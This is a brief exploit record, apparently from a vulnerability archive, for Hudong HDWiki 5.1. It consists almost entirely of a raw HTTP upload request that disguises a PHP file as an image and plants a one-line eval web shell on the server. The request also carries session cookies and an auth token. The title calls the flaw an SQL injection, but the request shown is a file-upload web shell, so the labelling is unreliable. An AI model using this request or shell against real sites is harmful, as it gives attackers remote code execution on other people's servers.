Hudong HDWiki 5.1 URI SQL注入漏洞

POST /hdwiki/index.php?attachment-uploadimg HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* Referer: http://www.wooyun.org/ Accept-Language: zh-cn Content-Type: multipart/form-data; boundary=---------------------------7db261e100f2e User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; InfoPath.2) Host: www.wooyun.org Content-Length: 370 Connection: Keep-Alive Cache-Control: no-cache Cookie: Hm_lvt_c12f88b5c1cd041a732dea597a5ec94c=1298002704449; hd_sid=raG13H; hd_auth=4113YBBXXB13XtdR6EXTA1Cb9BuhZMK%2F29wdoHDQJTV5QZOoYd62OHd46iXKqf4Qz%2F5gc6pLm9fZ%2Bdgv68MT; hd_searchtime=1300983373 -----------------------------7db261e100f2e Content-Disposition: form-data; name="MAX_FILE_SIZE" 30000 -----------------------------7db261e100f2e Content-Disposition: form-data; name="photofile"; filename="C:\fucker\z.php" Content-Type: image/image zzz<?eval($_REQUEST[z])?> -----------------------------7db261e100f2e--